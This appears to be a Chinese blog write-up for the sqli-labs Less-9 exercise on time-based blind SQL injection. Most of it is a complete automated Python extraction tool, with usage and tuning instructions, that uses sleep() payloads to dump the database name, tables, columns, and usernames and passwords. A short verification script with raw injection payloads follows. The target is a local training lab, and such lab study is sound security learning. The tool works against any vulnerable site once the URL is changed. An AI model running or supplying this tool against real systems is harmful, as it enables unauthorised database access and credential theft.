Less-9 GET-Blind-Time based-Single Quotes

Less-9 代码分析

关键特征

php 复制代码
if($row)
{
    echo 'You are in...........';  // ← 有数据时显示
}
else 
{
    echo 'You are in...........';  // ← 没数据也显示一样的内容!
}

核心特点:无论成功还是失败,都显示 "You are in"!

对比分析

特征 Less-5 Less-8 Less-9
成功时 "You are in" "You are in" "You are in"
失败时 显示错误 空白 "You are in"
页面差异 ✅ 有 ✅ 有 完全相同
报错注入
布尔盲注 不行
时间盲注 只能用这个

专门的时间盲注脚本

我给你写一个专门针对时间盲注优化的脚本:

python 复制代码
import requests
import time
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading

# ==================== 配置区 ====================
URL = "http://192.168.224.1:8887/Less-9/?id="
CLOSURE = "'"  # 闭合字符
SLEEP_TIME = 3  # 延迟秒数(不要设置太大,影响速度)
TIMEOUT = SLEEP_TIME + 2  # 超时时间 = 延迟时间 + 缓冲
THRESHOLD = SLEEP_TIME - 0.5  # 判断阈值(如果响应时间 > 这个值,认为是True)
NUM_THREADS = 5  # 时间盲注建议用较少的线程

# ==================== 全局变量 ====================
request_count = 0
request_lock = threading.Lock()

# ==================== 核心函数 ====================

def check_time_based(payload):
    """
    时间盲注检测
    返回True表示条件成立(有延迟),False表示条件不成立(无延迟)
    """
    global request_count
    
    try:
        start_time = time.time()
        resp = requests.get(URL + payload, timeout=TIMEOUT)
        elapsed = time.time() - start_time
        
        with request_lock:
            request_count += 1
        
        # 如果响应时间超过阈值,说明执行了sleep,条件为True
        return elapsed > THRESHOLD
        
    except requests.Timeout:
        # 超时也说明执行了sleep
        return True
    except Exception as e:
        return False

def get_length_time(query, max_length=100):
    """
    使用时间盲注+二分查找获取长度
    """
    low, high = 1, max_length
    
    with tqdm(total=None, desc="获取长度", unit="次", leave=False) as pbar:
        while low < high:
            mid = (low + high + 1) // 2
            payload = f"1{CLOSURE} and if(length(({query}))>={mid},sleep({SLEEP_TIME}),1) --+"
            
            pbar.set_postfix({"范围": f"[{low},{high}]", "测试": mid})
            
            if check_time_based(payload):
                low = mid
            else:
                high = mid - 1
            
            pbar.update(1)
    
    return low

def get_char_at_position_time(query, position):
    """
    使用时间盲注+二分查找获取指定位置的字符
    """
    low, high = 32, 126  # ASCII可打印字符范围
    
    while low < high:
        mid = (low + high + 1) // 2
        payload = f"1{CLOSURE} and if(ascii(substr(({query}),{position},1))>={mid},sleep({SLEEP_TIME}),1) --+"
        
        if check_time_based(payload):
            low = mid
        else:
            high = mid - 1
    
    return (position, chr(low) if low >= 32 else '?')

def get_string_time(query, length, desc="获取字符串", use_multithread=True):
    """
    使用时间盲注获取字符串
    use_multithread: 是否使用多线程(时间盲注建议少用,避免对服务器压力太大)
    """
    if length == 0:
        return ""
    
    result_dict = {}
    
    if use_multithread:
        # 多线程版本
        with ThreadPoolExecutor(max_workers=NUM_THREADS) as executor:
            futures = {
                executor.submit(get_char_at_position_time, query, pos): pos 
                for pos in range(1, length + 1)
            }
            
            with tqdm(total=length, desc=desc, unit="字符") as pbar:
                for future in as_completed(futures):
                    try:
                        position, char = future.result()
                        result_dict[position] = char
                        
                        current_result = ''.join([
                            result_dict.get(i, '?') 
                            for i in range(1, length + 1)
                        ])
                        pbar.set_postfix({"当前": current_result[:20] + "..." if len(current_result) > 20 else current_result})
                        pbar.update(1)
                    except Exception as e:
                        print(f"\n[!] 错误: {e}")
    else:
        # 单线程版本(更稳定)
        with tqdm(total=length, desc=desc, unit="字符") as pbar:
            for pos in range(1, length + 1):
                _, char = get_char_at_position_time(query, pos)
                result_dict[pos] = char
                
                current_result = ''.join([
                    result_dict.get(i, '?') 
                    for i in range(1, length + 1)
                ])
                pbar.set_postfix({"当前": current_result})
                pbar.update(1)
    
    result = ''.join([result_dict.get(i, '?') for i in range(1, length + 1)])
    return result

def get_count_time(query):
    """
    使用时间盲注获取数量(二分查找)
    """
    low, high = 0, 100
    
    with tqdm(total=None, desc="获取数量", unit="次", leave=False) as pbar:
        while low < high:
            mid = (low + high + 1) // 2
            payload = f"1{CLOSURE} and if(({query})>={mid},sleep({SLEEP_TIME}),1) --+"
            pbar.set_postfix({"范围": f"[{low},{high}]", "测试": mid})
            
            if check_time_based(payload):
                low = mid
            else:
                high = mid - 1
            
            pbar.update(1)
    
    return low

# ==================== 数据库信息获取 ====================

def get_database_time():
    """获取数据库名"""
    print("\n" + "="*60)
    print("【1】获取数据库名")
    print("="*60)
    
    query = "select database()"
    length = get_length_time(query)
    print(f"[+] 数据库名长度: {length}")
    
    db_name = get_string_time(query, length, "获取数据库名", use_multithread=False)
    print(f"[+] 数据库名: {db_name}")
    
    return db_name

def get_table_count_time(db_name):
    """获取表的数量"""
    print(f"\n[*] 获取数据库 '{db_name}' 的表数量...")
    
    query = f"select count(table_name) from information_schema.tables where table_schema='{db_name}'"
    count = get_count_time(query)
    print(f"[+] 表数量: {count}")
    
    return count

def get_table_name_time(db_name, index):
    """获取指定位置的表名"""
    query = f"select table_name from information_schema.tables where table_schema='{db_name}' limit {index},1"
    length = get_length_time(query)
    
    if length == 0:
        return None
    
    table_name = get_string_time(query, length, f"获取表{index+1}", use_multithread=False)
    return table_name

def get_all_tables_time(db_name):
    """获取所有表名"""
    print("\n" + "="*60)
    print("【2】获取所有表名")
    print("="*60)
    
    table_count = get_table_count_time(db_name)
    tables = []
    
    for i in range(table_count):
        table_name = get_table_name_time(db_name, i)
        if table_name:
            tables.append(table_name)
            print(f"[+] 表 {i+1}: {table_name}")
    
    return tables

def get_column_count_time(table_name):
    """获取列数量"""
    print(f"\n[*] 获取表 '{table_name}' 的列数量...")
    
    query = f"select count(column_name) from information_schema.columns where table_name='{table_name}'"
    count = get_count_time(query)
    print(f"[+] 列数量: {count}")
    
    return count

def get_column_name_time(table_name, index):
    """获取指定位置的列名"""
    query = f"select column_name from information_schema.columns where table_name='{table_name}' limit {index},1"
    length = get_length_time(query)
    
    if length == 0:
        return None
    
    column_name = get_string_time(query, length, f"获取列{index+1}", use_multithread=False)
    return column_name

def get_all_columns_time(table_name):
    """获取所有列名"""
    print("\n" + "="*60)
    print(f"【3】获取表 '{table_name}' 的所有列名")
    print("="*60)
    
    column_count = get_column_count_time(table_name)
    columns = []
    
    for i in range(column_count):
        column_name = get_column_name_time(table_name, i)
        if column_name:
            columns.append(column_name)
            print(f"[+] 列 {i+1}: {column_name}")
    
    return columns

def get_data_count_time(table_name):
    """获取数据行数"""
    print(f"\n[*] 获取表 '{table_name}' 的数据行数...")
    
    query = f"select count(*) from {table_name}"
    count = get_count_time(query)
    print(f"[+] 数据行数: {count}")
    
    return count

def get_row_data_time(table_name, columns, row_index):
    """获取指定行的数据"""
    row_data = {}
    
    print(f"\n[*] 获取第 {row_index+1} 行数据...")
    
    for column in columns:
        query = f"select {column} from {table_name} limit {row_index},1"
        length = get_length_time(query)
        
        if length == 0:
            row_data[column] = "(NULL)"
        else:
            value = get_string_time(query, length, f"获取{column}", use_multithread=False)
            row_data[column] = value
    
    return row_data

def get_all_data_time(table_name, columns, max_rows=None):
    """获取所有数据"""
    print("\n" + "="*60)
    print(f"【4】获取表 '{table_name}' 的所有数据")
    print("="*60)
    
    row_count = get_data_count_time(table_name)
    
    if max_rows and row_count > max_rows:
        print(f"[!] 数据行数 ({row_count}) 超过限制 ({max_rows}),只获取前 {max_rows} 行")
        row_count = max_rows
    
    all_data = []
    
    for i in range(row_count):
        row_data = get_row_data_time(table_name, columns, i)
        all_data.append(row_data)
        
        print(f"\n[+] 第 {i+1} 行:")
        for col, val in row_data.items():
            print(f"    {col}: {val}")
    
    return all_data

# ==================== 快速模式 ====================

def quick_dump_users_time():
    """
    快速模式:直接获取users表的username和password
    """
    print("""
╔══════════════════════════════════════════════════════════════╗
║          时间盲注专用脚本 - Less-9                           ║
║          Time-based Blind SQL Injection                      ║
╚══════════════════════════════════════════════════════════════╝
    """)
    
    print(f"目标URL: {URL}")
    print(f"闭合字符: {CLOSURE}")
    print(f"延迟时间: {SLEEP_TIME}秒")
    print(f"判断阈值: {THRESHOLD}秒")
    print(f"线程数: {NUM_THREADS}")
    
    start_time = time.time()
    
    try:
        # 确认时间盲注可用
        print("\n" + "="*60)
        print("【0】验证时间盲注")
        print("="*60)
        
        print("[*] 测试True条件(应该延迟)...")
        test_start = time.time()
        result_true = check_time_based(f"1{CLOSURE} and if(1=1,sleep({SLEEP_TIME}),1) --+")
        test_elapsed = time.time() - test_start
        print(f"    响应时间: {test_elapsed:.2f}秒")
        print(f"    结果: {'✅ 有延迟(True)' if result_true else '❌ 无延迟(异常)'}")
        
        print("\n[*] 测试False条件(应该立即返回)...")
        test_start = time.time()
        result_false = check_time_based(f"1{CLOSURE} and if(1=2,sleep({SLEEP_TIME}),1) --+")
        test_elapsed = time.time() - test_start
        print(f"    响应时间: {test_elapsed:.2f}秒")
        print(f"    结果: {'❌ 有延迟(异常)' if result_false else '✅ 无延迟(False)'}")
        
        if not result_true or result_false:
            print("\n[!] 时间盲注验证失败!请检查配置")
            return
        
        print("\n✅ 时间盲注验证成功!\n")
        
        # 获取数据库名
        db_name = get_database_time()
        
        # 获取users表的数据行数
        print("\n[*] 获取users表数据行数...")
        query = "select count(*) from users"
        count = get_count_time(query)
        print(f"[+] 数据行数: {count}")
        
        # 获取所有用户数据
        print(f"\n[*] 开始获取 {min(count, 5)} 个用户的数据...\n")
        
        for i in range(min(count, 5)):  # 限制5个,时间盲注太慢
            print(f"[*] 获取用户 {i+1}/{count}")
            
            # 获取username
            username_query = f"select username from users limit {i},1"
            username_len = get_length_time(username_query)
            username = get_string_time(username_query, username_len, f"Username {i+1}", use_multithread=False)
            
            # 获取password
            password_query = f"select password from users limit {i},1"
            password_len = get_length_time(password_query)
            password = get_string_time(password_query, password_len, f"Password {i+1}", use_multithread=False)
            
            print(f"[+] 用户{i+1}: {username}:{password}\n")
        
        # 统计信息
        elapsed = time.time() - start_time
        print("\n" + "="*60)
        print("【统计信息】")
        print("="*60)
        print(f"总请求次数: {request_count}")
        print(f"总耗时: {elapsed:.2f} 秒 ({elapsed/60:.2f} 分钟)")
        print(f"平均速度: {request_count/elapsed:.2f} 请求/秒")
        print("="*60)
        
    except KeyboardInterrupt:
        print("\n\n[!] 用户中断")
        elapsed = time.time() - start_time
        print(f"已运行: {elapsed:.2f} 秒 ({elapsed/60:.2f} 分钟)")
        print(f"已完成: {request_count} 个请求")

# ==================== 主函数 ====================

def main():
    """完整模式"""
    print("""
╔══════════════════════════════════════════════════════════════╗
║          时间盲注自动化工具 - Less-9                         ║
║          Time-based Blind SQL Injection Tool                 ║
╚══════════════════════════════════════════════════════════════╝
    """)
    
    start_time = time.time()
    
    try:
        # 获取数据库名
        db_name = get_database_time()
        
        # 获取所有表名
        tables = get_all_tables_time(db_name)
        
        # 选择表
        target_table = 'users' if 'users' in tables else tables[0]
        print(f"\n[*] 目标表: {target_table}")
        
        # 获取列名
        columns = get_all_columns_time(target_table)
        
        # 获取数据(限制3行,时间盲注太慢)
        all_data = get_all_data_time(target_table, columns, max_rows=3)
        
        # 统计
        elapsed = time.time() - start_time
        print("\n" + "="*60)
        print("【统计信息】")
        print("="*60)
        print(f"总请求次数: {request_count}")
        print(f"总耗时: {elapsed:.2f} 秒 ({elapsed/60:.2f} 分钟)")
        print(f"平均速度: {request_count/elapsed:.2f} 请求/秒")
        print("="*60)
        
    except KeyboardInterrupt:
        print("\n\n[!] 用户中断")

# ==================== 入口 ====================

if __name__ == "__main__":
    import sys
    
    if len(sys.argv) > 1 and sys.argv[1] == 'quick':
        # 快速模式
        quick_dump_users_time()
    else:
        # 完整模式
        main()

就是慢的很,因为每次爆破要等时间确认。下面这个等了二十分钟才拉出来这么一点。

使用方法

1. 快速模式(推荐)

bash 复制代码
python3 time_blind_sqli.py quick

2. 完整模式

bash 复制代码
python3 time_blind_sqli.py

配置说明

python 复制代码
SLEEP_TIME = 3      # 延迟秒数
                    # 太小:可能误判(网络延迟)
                    # 太大:速度太慢
                    # 推荐:2-5秒

THRESHOLD = 2.5     # 判断阈值
                    # = SLEEP_TIME - 0.5
                    # 响应时间 > 这个值 → True

NUM_THREADS = 5     # 线程数
                    # 时间盲注建议少用多线程
                    # 避免对服务器压力太大

时间盲注 vs 布尔盲注 对比

特性 布尔盲注(Less-8) 时间盲注(Less-9)
页面差异 ✅ 有(成功/失败不同) ❌ 无(完全相同)
判断依据 页面内容 响应时间
速度 快(0.1秒/请求) 慢(3秒/请求)
稳定性 中等(网络影响)
服务器压力 大(sleep占用连接)
多线程 推荐10+ 建议5以内

性能预估

复制代码
获取一个8字符的字符串:
- 长度判断:约7次请求 × 3秒 = 21秒
- 逐字符获取:8字符 × 7次 × 3秒 = 168秒
- 总计:约 3分钟

获取users表(13个用户):
- 每个用户2个字段(username + password)
- 平均每个字段8字符
- 13 × 2 × 3分钟 = 约78分钟

实际建议:
- 只获取前3-5个用户
- 或使用更短的SLEEP_TIME(如1秒)

优化建议

1. 减少延迟时间

python 复制代码
SLEEP_TIME = 1  # 从3秒减到1秒
THRESHOLD = 0.7  # 相应调整阈值

2. 只获取关键数据

python 复制代码
# 只获取username,不获取password
# 只获取前3个用户

3. 使用单线程(更稳定)

python 复制代码
use_multithread=False

测试脚本

快速验证Less-9:

python 复制代码
import requests
import time

url = "http://192.168.224.1:8887/Less-9/?id="

# 测试1:True条件
print("[*] 测试True条件(应该延迟3秒)...")
start = time.time()
resp = requests.get(url + "1' and if(1=1,sleep(3),1) --+", timeout=5)
elapsed = time.time() - start
print(f"    响应时间: {elapsed:.2f}秒")
print(f"    页面内容: {'You are in' in resp.text}")

# 测试2:False条件
print("\n[*] 测试False条件(应该立即返回)...")
start = time.time()
resp = requests.get(url + "1' and if(1=2,sleep(3),1) --+", timeout=5)
elapsed = time.time() - start
print(f"    响应时间: {elapsed:.2f}秒")
print(f"    页面内容: {'You are in' in resp.text}")

# 测试3:验证数据库名第一个字符
print("\n[*] 验证数据库名第一个字符是 's'...")
start = time.time()
resp = requests.get(url + "1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+", timeout=5)
elapsed = time.time() - start
print(f"    响应时间: {elapsed:.2f}秒")
print(f"    结果: {'✅ 是s' if elapsed > 2.5 else '❌ 不是s'}")

这个脚本专门针对时间盲注优化,比Less-5的通用脚本更适合Less-9!🎯

相关推荐
懒羊羊不懒@1 小时前
【数据库 | 基础】DDL语句以及数据类型
数据库
lang201509281 小时前
Linux命令行:cat、more、less终极指南
linux·chrome·less
pe7er1 小时前
用高阶函数实现递归:从匿名函数到通用递归生成器
前端·javascript
IT古董2 小时前
全面理解 Corepack:Node.js 的包管理新时代
前端·node.js·corepack
学习3人组2 小时前
清晰地说明 NVM、NPM 和 NRM 在 Node.js 开发过程中的作用
前端·npm·node.js
李宥小哥2 小时前
结构型设计模式2
网络·数据库·设计模式
矢心2 小时前
setTimeout 和 setInterval:看似简单,但你不知道的使用误区
前端·javascript·面试
猫头虎2 小时前
永久免费白嫖多个域名,一键托管Cloudflare,免费申请SSL加密证书,轻松建站、搭建线路伪装
服务器·开发语言·网络·数据库·python·网络协议·ssl
攒钱植发2 小时前
嵌入式Linux——“大扳手”与“小螺丝”:为什么不该用信号量(Semaphore)去模拟“完成量”(Completion)
linux·服务器·c语言